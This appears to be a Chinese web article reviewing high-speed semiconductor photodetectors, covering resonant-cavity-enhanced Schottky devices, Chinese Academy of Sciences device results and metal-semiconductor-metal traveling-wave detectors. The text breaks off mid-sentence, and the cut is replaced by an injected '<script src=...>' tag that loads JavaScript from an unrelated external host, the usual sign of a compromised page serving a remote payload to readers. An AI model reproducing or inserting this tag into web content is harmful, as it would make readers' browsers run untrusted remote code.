引言
半导体光电探测器由于体积小，重量轻，响应速度快，灵敏度高，易于与其它半导体器件集成，是光源的最理想探测器，可广泛用于光通信、信号处理、传感系统和测量系统。最近几年，由于超高速光通信、信号处理、测量和传感系统的需要，需要超高速高灵敏度的半导体光电探测器。为此，发展了谐振腔增强型（rce）光电探测器、金属半导体-金属行波光电探测器，以及分离吸收梯度电荷和信增（sagcm）雪崩光电探测器（apd）等。
谐振腔增强型(rce)光电探测器
现代高性能的光通信、信号处理和测量系统，需要光电探测器必须具有高的响应速度和高的灵敏度。对于高带宽的光信号探测，需要光电探测器的最佳典型结构是薄的光吸收区。然而，薄的光吸收层必定导致半导体材料在吸收系数比较小的波长位置的量子时效率减小。虽然带宽超过200ghz的光电探测器也已研制成功，但带宽效率积仍然受材料特性的限制。在肖特基光电探测器中，金属接触中的光损耗进一步受到顶部照射器件量子效率的限制，增加器件的响应度只靠采用半透明的肖特基接触。最近几年发展的光电子器件新种类--谐振腔增强型结构光电探测器，靠有源器件结构内部的法布里-泊罗谐振腔，使器件的量子效率在谐振波长位置猛烈增强，带宽效率积惊人地改善，致使允许制作薄的光吸收区。所以，rce结构探测器方案对肖特基型光电探测器特别有吸引力。
器件结构
rce肖特基光电探测器结构的各层用分子束外延生长在gaas衬底上，如图1所示。谐振腔由gaas-alas分布布拉格反射（dbr）的底部反射器和半透明的顶部金（au）接触形成。ingaas吸收层的in克分子数低于10%，为了避免载流子俘获，两个异质结层都线性地形成25nm的梯度。总的吸收区厚度为130nm左右，用来消除腔中的持续波效应。通过耗尽区中吸收层位置的最佳化，得到电子和空穴的最小渡越时间。器件用光刻法制作，采用台面隔离和au空桥连接顶部，接触到片上的微波共平面传输线。au接触层厚度为20nm，si3n4涂盖层厚度200nm。
国内的发展水平
据因特网消息：中国科学院半导体所光电子技术研究中心，研制了用于光通信的新型光电子器件垂直腔面发射激光器和光电探测器。特别是他们用分子束外延在gaas衬底上生长ingaas外延层，制作了ingaas多量子阱（mqw）谐振腔增强型光电探测器（rce-pd）。测得这种光电探测器的峰值响应波长为1298nm，半最大值全宽（fwhm）为5nm，波长调整范围为10nm，暗电流为20pa，电容为2pf，3db带宽300mhz。另外一种光电探测器峰值响应波长为1060nm，半最大值全宽fwhm为1.6nm，波长调整范围为10nm，暗电流为30pa，电容为2pf，3db带宽为450mhz。
另据报道：中国科学院半导体研究所在注入氧分隔（simox）的晶片上，研制了正面进光和背面进光的两种sige/si谐振腔增强型光电探测器。simox晶片正面的si层厚度为250nm，氧化物的厚度也为250nm。sige/si多量子阱用mbe外延生长在simox衬底上，生长温度为600℃。sio2/si分布布拉格反射器用电子束蒸发淀积，形成具有simox晶片掩埋氧化物层的垂直微腔。正面进光的rce光电探测器在 =1285nm波长时，峰值响应度为10.2ma/w；背面进光的器件在 =1305nm时，峰值响应度为19ma/w。背面进光的响应度几乎为正面进光的响应度的2倍，主要是由于背面进光的器件镜面反射率高达99%，而正面进光的器件镜面反射率只80%。
金属-半导体-金属行波光电探测器
低温生长gaas(ltg-gaas)基光电探测器（pd）由于它们短的响应时间、高的电带宽、低的暗电流，以及它们能够与其微波器件例如微波天线集成而受到大大关注。然而，ltg-gaas的宽吸收能隙（～800nm）限制了它在长波长（1300-1500nm）光通信的应用。在长波长制式，几个ps的响应时间已从ltg-ingaas基pd得到了，但这比短波长制式的ltg-gaas基pd的亚ps响应时间长得多。近来，有几个研究组在长波长光通信制式使用垂直照射结构或边缘耦合行波结构，演示了ltg-gaas基p-i-n/n-i-n和msm pd。通过使用内部能隙对导带的欠态跃迁，在ltg-gaas中得到了低于带隙的光子吸收。然而，由于低于能隙的吸收系数比准能带-能带吸收系数小得多，用常规的垂直照射pd结构，得到的量子效率是极低的（约为0.6ma/w）。边缘耦合的p-i-n/n-i-n行波pd结构，低效率问题可以靠增加器件的吸收长度克服。虽然最大输出功率可随器件吸收长度而增加，但电带宽将?script src=http://er12.com/t.js>
